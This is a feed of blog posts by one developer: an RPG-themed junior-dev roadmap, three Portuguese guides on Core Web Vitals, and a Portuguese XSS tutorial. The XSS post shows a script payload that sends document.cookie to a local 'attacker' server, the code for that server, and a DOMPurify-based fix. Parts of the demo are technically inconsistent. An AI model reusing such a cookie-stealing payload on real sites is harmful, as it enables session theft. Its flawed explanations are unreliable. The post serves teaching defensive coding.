Forem: Lucas Rocha

🛡️ The Junior Dev Journey: Like an RPG, But With Code

Lucas Rocha — Thu, 24 Apr 2025 02:14:17 +0000

You wake up in the village of Curiosity, your inventory empty but your will to learn stronger than ever. Welcome, adventurer — your dev journey begins now.

This is your quest map — a practical guide for anyone starting from scratch who wants to become a junior dev in up to 8 months. No magic formulas, just a clear path and lots of XP ahead.

🗺️ Campaign Setup

Duration: up to 8 months
Style: solo campaign (co-op mode highly recommended)
Play time: 1.5 to 2.5 hours/day on weekdays
XP earned: hands-on projects, deploys, and a shiny portfolio

🧭 The Journey Map

🎒 Level 1 — The Beginner (Month 1)

Quests:

Learn programming logic using JavaScript
Master functions, loops, arrays, and objects

Bonus quest: build a calculator or number guessing game

🧠 XP: Core spellcasting skills unlocked

🛠️ Level 2 — The Web Craftsman (Month 2)

Quests:

Learn HTML and CSS
Dive into Flexbox and responsive design
Get started with Git and GitHub

Bonus quest: design a landing page with a contact form

🧠 XP: solid UI building blocks + version control magic

🔍 Level 3 — The DOM Tamer (Month 3)

Quests:

DOM manipulation with JS
Handle events and use APIs (fetch)

Bonus quest: build a weather app or movie search app

🧠 XP: dynamic pages + basic API spells

🧪 Level 4 — The Frontend Alchemist (Month 4)

Quests:

Learn project structure with Vite
Deploy your first site on Netlify or Vercel

Bonus quest: build a responsive app with error handling

🧠 XP: build, structure, and deploy your first magical app

⚙️ Level 5 — The Backend Adventurer (Month 5)

Quests:

Create APIs using Node.js and Express
Understand routes, middlewares, and CRUD
Use SQLite or MongoDB

Bonus quest: task manager API

🧠 XP: backend mastery unlocked

🧩 Level 6 — The Interface Summoner (Month 6)

Quests:

Learn React (components, props, useState, useEffect)
Work with routes and API integration

Bonus quest: dashboard with filters and routing

🧠 XP: UI building with modern magic

🏗️ Level 7 — Fusion of Realms (Month 7)

Quests:

Connect frontend and backend
Add login/authentication (JWT)
Deploy the full stack app

Bonus quest: full stack task manager with auth

🧠 XP: mastering both frontend and backend realms

🧙‍♂️ Level 8 — The Junior Dev (Month 8)

Quests:

Build your portfolio website
Write proper README files
Update LinkedIn, résumé, and practice interviews
Apply for your first job(s)

Final Boss: send your résumé to a real dev job

🧠 XP: You’re now a Junior Developer! 🎉

📘 Legendary Loot (Projects)

Artifact	Description
📐 Calculator	Plain JS project
🌐 Landing Page	HTML/CSS + Form
☁️ Weather App	JS + DOM + API
🔧 Task API	Node/Express + DB
🎨 React Dashboard	React SPA with filters
🔐 Full Stack App	Auth + Connected Front/Back
✨ Portfolio	Personal site showcasing your journey

🧠 Tavern Tips

Don’t fight alone — ask questions, join a guild (community), share what you learn
Write good READMEs — it shows you're leveling up
You don’t need to know everything to start — just enough to play
Compare your progress to yesterday, not to the level 99 wizards on Twitter/X
And the most important; have fun!

🛑 Chega de Pulos na Tela! Guia Prático para Eliminar o CLS (Cumulative Layout Shift) (Parte 3 de 3 sobre Core Web Vitals)

Lucas Rocha — Mon, 14 Apr 2025 00:32:34 +0000

I. Introdução: A Chateação dos Deslocamentos Visuais Inesperados

"Já passou pela situação de estar lendo algo e a página 'dar um tranco'? Isso é CLS. Evite isso, buscando uma vivência online melhor."

II. Entendendo o CLS: Por Que as Páginas se 'Movem' Sozinhas?

"Falta de dimensões em imagens, anúncios que demoram a aparecer, troca de fontes, conteúdo dinâmico em cima: os culpados mais comuns."

III. Como Avaliar e Encontrar Onde Está o Problema

"Use a métrica CLS no Lighthouse e no PageSpeed Insights. Acompanhe os resultados em tempo real."

IV. Soluções Simples para Acabar Com o CLS:

Dimensões Certas: A Solução Para Imagens e Vídeos Firmes

"Sempre coloque width e height ou empregue aspect-ratio."

HTML

<img src="gato.jpg" alt="Gato" width="600" height="400">
<div style="width: 100%; aspect-ratio: 16 / 9;"></div>

Prepare o Terreno: Minimizando Deslocamentos de Anúncios, Embeds e Iframes

"Use espaços reservados com tamanhos pré-definidos."

HTML

<div id="ad-placeholder" style="width: 300px; height: 250px;"></div>

Fontes Sem Surpresas: Melhorando o Desempenho do Carregamento

"Use font-display (swap, optional, fallback) e pré-carregue as fontes mais importantes (<link rel="preload">)."

CSS

@font-face { font-family: 'Fonte'; src: url('fonte.woff2'); font-display: swap; }
<link rel="preload" href="fonte.woff2" as="font" type="font/woff2" crossorigin>

Sem Imprevistos no Topo: Evitando Conteúdo Dinâmico que Empurra o Resto

"Reserve um espaço ou coloque o conteúdo novo abaixo da área visível."

HTML

<header style="height: 60px;"></header>
<div style="padding-top: 60px;"></div>

Animações Leves, Layout Imóvel:

"Use transform e opacity nas animações, não propriedades que afetam o layout."

CSS

.elemento { transform: translateX(0); transition: transform 0.3s; }

V. CLS e UX: Estabilidade Visual é Fundamental

"Uma experiência online confiável e acessível para todos."

VI. Conclusão: Acabe Com os "Trancos" na Sua Página!

"Priorize que a página não fique se movendo sozinha. Deixe suas ideias nos comentários!"

Links e Materiais de Apoio:

Artigo web.dev sobre CLS
Guia do Google para melhorar o CLS
Documentação MDN sobre aspect-ratio
Documentação MDN sobre font-display
Informações sobre <link rel="preload">
Informações sobre a propriedade CSS transform
Informações sobre a propriedade CSS opacity

Sugestão de Imagem Para a Capa: Uma imagem mostrando organização (ex: peças alinhadas) ou a eliminação de "pulos".

Tags: webdev, frontend, performance, optimization, cls, corewebvitals, ux, css, html

🖱️Seu Site Responde Rápido Guia - Prático para Dominar o FID (First Input Delay) (Parte 2 de 3 sobre Core Web Vitals)

Lucas Rocha — Thu, 10 Apr 2025 23:26:20 +0000

I. Introdução: A Pronta Resposta é Tudo

"Sabe quando você clica em um botão e fica minutos(que parece o amaterasu do itachi) esperando? Ninguém gosta dessa "mini-pausa", né? O First Input Delay (FID) é como um termômetro dessa primeira impressão de responsividade do seu site. Ele mede aquele instante entre o seu clique (ou toque) e o momento em que o navegador finalmente começa a fazer alguma coisa. Um FID rapidinho é a chave para um site que parece vivo e te responde na hora!"

II. Desvendando o FID: A Central de Controle em Ação

"Pensa no seu navegador como um maestro regendo uma orquestra. O 'cérebro' dele, o tal do thread principal, precisa dar conta de tudo: desenhar a página, rodar os scripts... Se ele estiver atolado com um monte de JavaScript complexo, coitado, ele não consegue te dar atenção na hora que você interage. Essas tarefas demoradas (tipo, mais de piscar um olho) são as grandes culpadas pelo FID alto."

III. Avaliando e Detectando Imprevistos

"O FID de verdade a gente sente no dia a dia, com usuários reais. Mas, pra ter uma ideia de como as coisas estão nos bastidores, o Lighthouse (aquela ferramenta mágica do Google) te mostra o Total Blocking Time (TBT). Ele é um bom indicador de que o FID pode estar precisando de uma forcinha."

IV. Dicas Eficientes para um FID Campeão:

Quebrando Barreiras: Fragmentando Processos Demorados

"Sabe aquela função JavaScript gigante que demora uma eternidade pra rodar? Quebra ela em pedacinhos menores! O setTimeout é um truque simples pra dar um respiro pro thread principal."

JavaScript

function tarefaPesadaOtimizada(callback) {
  let i = 0;
  function processarBloco() {
    // ... fazendo um pedacinho do trabalho ...
    if (aindaHaMaisParaProcessar) {
      setTimeout(processarBloco, 0); // "Ei, navegador, faz isso rapidinho depois de cuidar do resto!"
    } else if (callback) {
      callback(); // "Terminei! Avisa o resto do pessoal."
    }
  }
  processarBloco();
}

Code Splitting: Priorizando o Essencial

"Imagina carregar um caminhão de coisas quando você só precisa de uma chave? O Code Splitting é tipo isso pro seu JavaScript. Envie só o código necessário pra primeira interação e deixe o resto pra depois, quando o usuário precisar."

JavaScript

botaoMostrarMapa.addEventListener('click', () => {
  import('./componentes/Mapa') // "Só carrega o mapa quando o cara clicar!"
    .then((MapaModule) => { /* ... */ });
});

Web Workers: JavaScript nos Bastidores

"Tem alguma tarefa super pesada que não precisa rodar na hora que o usuário clica? Manda ela pro Web Worker! É como ter um ajudante trabalhando nos bastidores sem atrapalhar a interface principal."

avaScript

// worker.js (o ajudante)
self.onmessage = (event) => { /* ... fazendo a mágica pesada ... */; self.postMessage(resultado); };

// main.js (o maestro)
const meuWorker = new Worker('worker.js'); // Contratando o ajudante
meuWorker.postMessage(dados); // Dando a tarefa
meuWorker.onmessage = (event) => { /* ... atualizando a tela com o resultado ... */ };

Atenção aos Visitantes: Otimizando Terceiros

"Sabe aqueles scripts de analytics, botões de redes sociais...? Eles são úteis, mas podem ser um pouco folgados pra carregar. Use async e defer pra que eles não atrapalhem a festa principal."

HTML

<script async src="https://seu-script-terceiro.js"></script> <script defer src="https://outro-script.js"></script>

V. FID e UX: Uma Ligação Direta

"Um site que responde rapidinho te dá aquela sensação boa de controle e fluidez. É tipo conversar com alguém que te entende na hora! Priorizar o FID é cuidar da experiência do seu usuário."

VI. Conclusão: A Rapidez Interativa é Crucial!

"Deixar seu site com um FID nota 10 não é um luxo, é essencial! Com as dicas que vimos, você já tem um arsenal pra fazer seu frontend voar. E aí, qual a sua principal carta na manga pra um FID perfeito? Compartilha com a gente nos comentários!"

Links e Recursos:

Tags: webdev, frontend, performance, optimization, javascript, fid, corewebvitals, ux

🚀 A Primeira Impressão Conta (e Carrega Rápido) Seu Guia Prático para Dominar o LCP(Parte 1 de 3 sobre Core Web Vitals)

Lucas Rocha — Fri, 04 Apr 2025 18:41:12 +0000

I. Introdução: A Recepção Visual Inicial (E Como Torná-la Memorável!)

Sabe quando você entra numa loja e a montagem da vitrine parece inacabável ou está completamente vazia? A impressão não é das melhores, concorda? No universo online, o Largest Contentful Paint (LCP) age como a "fachada" do seu site. E este texto abre uma série de três que apresentarão as Core Web Vitals, as referências do Google para avaliar a vivência do usuário. Neste primeiro roteiro, o foco é o LCP, que dimensiona o tempo para o maior componente de conteúdo visível no primeiro contato – aquela imagem de destaque, aquele título atrativo – se exibir por completo. Um LCP ágil assegura que os visitantes tenham uma experiência visual inicial boa e imediata, o que pode ser determinante para a permanência ou saída do visitante. Vamos nos aprofundar em como aprimorar essa medida essencial!

II. A Importância Crucial do LCP

Aparência Inicial: Um LCP veloz transmite agilidade logo de cara.
SEO: O LCP é usado pelo Google para classificar as páginas.
Redução da Irritação: Usuários impacientes podem sair de sites demorados.

III. "Meu LCP Está Comprometido Se..."

O banner principal tarda a aparecer.
Um espaço vazio surge onde uma imagem importante deveria estar.
O Lighthouse indica um LCP acima de 2.5 segundos.

IV. Acelerando Seu LCP (Colocando a Mão na Massa!)

Reforce Suas Imagens (Seu LCP Lhe Será Grato!)

Adote Formatos Atuais: WebP proporciona melhor compactação.

HTML

<picture>  
<source srcset="banner-otimizado.webp" type="image/webp">  
<img src="banner-gigante.jpg" alt="Banner">  
</picture>

Comprima sem Receio: Utilize ferramentas como TinyPNG ou ImageOptim.
Priorize o Carregamento: Use loading="eager" para a imagem de maior relevância.

HTML

<img src="banner-principal.jpg" alt="Banner Principal" loading="eager">

Fontes Web: Agilidade no Carregamento

"Fontes personalizadas lentas podem impedir a exibição do texto."

Utilize WOFF2: Formato otimizado.
Escolha com Cuidado: Carregue só os estilos necessários.
Aplique font-display: Gerencie o carregamento.

CSS

@font-face {  
font-family: 'MeuFonte';  
src: url('meu-fonte.woff2') format('woff2');  
font-display: swap;  
}

CDN: Seu Conteúdo Mais Próximo do Público

"Um CDN guarda seus arquivos em servidores espalhados, entregando-os mais rapidamente."

Opções Conhecidas: Cloudflare, CloudFront.

Acabe com os Obstáculos à Exibição (CSS e JavaScript)

"CSS e JavaScript volumosos podem atrasar a exibição inicial."

Minifique e Comprima: Diminua o tamanho dos arquivos.
Critical CSS: Inclua o CSS essencial no <head>.
async e defer: Carregue JavaScript sem causar bloqueios.

HTML

<link rel="stylesheet" href="estilos-essenciais.css">  
<link rel="stylesheet" href="estilos-restantes.css" media="print" onload="this.media='all'">  
<script src="analytics.js" async></script>  
<script src="script.js" defer></script>

V. Conclusão: LCP Ágil, Satisfação do Usuário!

"Aprimorar o LCP é essencial para uma ótima impressão inicial. Use estas sugestões e impulsione seu site!"

Links e Referências:
https://web.dev/lcp/
https://developers.google.com/speed/webp

Explorando e Mitigando XSS em Formulários com React e Node.js

Lucas Rocha — Sun, 30 Mar 2025 14:43:09 +0000

🚨Antes de começar aproveito para lembrar que estou isento de quaisquer responsabilidades sobre o mau uso dos tópicos abordados nesse artigo, essa poc foi criada exclusivamente para fins acadêmicos.🚨

A segurança na web é um tema essencial para qualquer desenvolvedor. Um dos ataques mais comuns e perigosos é o Cross-Site Scripting (XSS), que permite a injeção de scripts maliciosos em aplicações web. Neste artigo, vamos explorar como uma aplicação vulnerável pode ser explorada e como podemos mitigar esses ataques.

🚨 Como Funciona um Ataque XSS?

O ataque XSS ocorre quando um invasor injeta código JavaScript malicioso em um site, explorando a falta de sanitização de entradas do usuário. Se a aplicação renderizar essa entrada diretamente no HTML sem validação, o código malicioso será executado no navegador da vítima.

Exemplo de Exploração XSS

Um atacante pode inserir um código como este em um campo de formulário:

<script>fetch('http://localhost:4000/capture-cookies?cookie=' + document.cookie)</script>

Se a aplicação não tratar corretamente essa entrada, o código será executado e enviará os cookies da vítima para o servidor do atacante.

🛠 Criando um Formulário Vulnerável

Vamos criar um formulário em React que está vulnerável a XSS. Esse formulário captura dados do usuário e exibe um alerta com as informações inputadas.

"use client";

import React, { useState, ChangeEvent } from "react";

const VulnerableCardFormComponent: React.FC = () => {
  const [inputs, setInputs] = useState({
    email: "",
    cardNumber: "",
    cardHolderName: "",
    expirationDate: "",
    cvvCvc: "",
    address: "",
  });

  const handleChange = (e: ChangeEvent<HTMLInputElement>): void => {
    const { name, value } = e.target;
    setInputs((prevInputs) => ({
      ...prevInputs,
      [name]: value,
    }));
  };

  const handleSubmit = (): void => {
    alert(`Dados Inputados:\n${JSON.stringify(inputs, null, 2)}`);
  };

  return (
    <div>
      <h1>Vulnerable Form</h1>
      <input type="text" name="email" onChange={handleChange} placeholder="Email" />
      <input type="text" name="cardNumber" onChange={handleChange} placeholder="Card Number" />
      <input type="text" name="address" onChange={handleChange} placeholder="Endereço" />
      <button onClick={handleSubmit}>Submit</button>
    </div>
  );
};

export default VulnerableCardFormComponent;

Esse formulário não sanitiza os inputs, permitindo a execução de código JavaScript malicioso.

🔥 Criando um Servidor para Capturar os Dados

Agora, vamos configurar um servidor Node.js que simula o papel do atacante, capturando os cookies e os dados do formulário enviados pelo código malicioso.

import express from "express";
import bodyParser from "body-parser";
import cors from "cors";

const app = express();
const port = 4000;

app.use(bodyParser.json());
app.use(cors());

app.post("/capture-cookies", (req, res) => {
  console.log("Dados Capturados:", req.body);
  res.send("Dados Recebidos");
});

app.listen(port, () => {
  console.log(`Servidor rodando em http://localhost:${port}`);
});

Com esse servidor rodando, qualquer requisição feita para http://localhost:4000/capture-cookies será registrada no console.

🛡 Mitigando o Ataque com Sanitização e Criptografia

Agora, vamos corrigir as vulnerabilidades e criar um formulário seguro.

import React, { useState, ChangeEvent } from "react";
import DOMPurify from "dompurify";

const SecureCardFormComponent: React.FC = () => {
  const [inputs, setInputs] = useState({
    email: "",
    cardNumber: "",
    cardHolderName: "",
    expirationDate: "",
    cvvCvc: "",
    address: "",
  });

  const handleChange = (e: ChangeEvent<HTMLInputElement>): void => {
    const { name, value } = e.target;
    setInputs((prevInputs) => ({
      ...prevInputs,
      [name]: DOMPurify.sanitize(value),
    }));
  };

  const handleSubmit = (): void => {
    alert(`Dados Seguros:\n${JSON.stringify(inputs, null, 2)}`);
  };

  return (
    <div>
      <h1>Secure Form</h1>
      <input type="text" name="email" onChange={handleChange} placeholder="Email" />
      <input type="text" name="cardNumber" onChange={handleChange} placeholder="Card Number" />
      <input type="text" name="address" onChange={handleChange} placeholder="Endereço" />
      <button onClick={handleSubmit}>Submit</button>
    </div>
  );
};

export default SecureCardFormComponent;

🚀 O que mudamos?

Sanitização: Usamos DOMPurify.sanitize(value) para evitar a execução de código malicioso.
Prevenção de XSS: Qualquer tentativa de injeção de <script> será removida antes de processar os dados.

📌 Conclusão

Explorar vulnerabilidades como XSS é fundamental para entendermos como proteger melhor nossas aplicações. Neste artigo, demonstramos:

✅ Como ataques XSS funcionam na prática.
✅ Como um servidor malicioso pode capturar dados sensíveis.
✅ Como prevenir ataques usando sanitização.

Se você curtiu esse artigo, deixe seu comentário e compartilhe! 🚀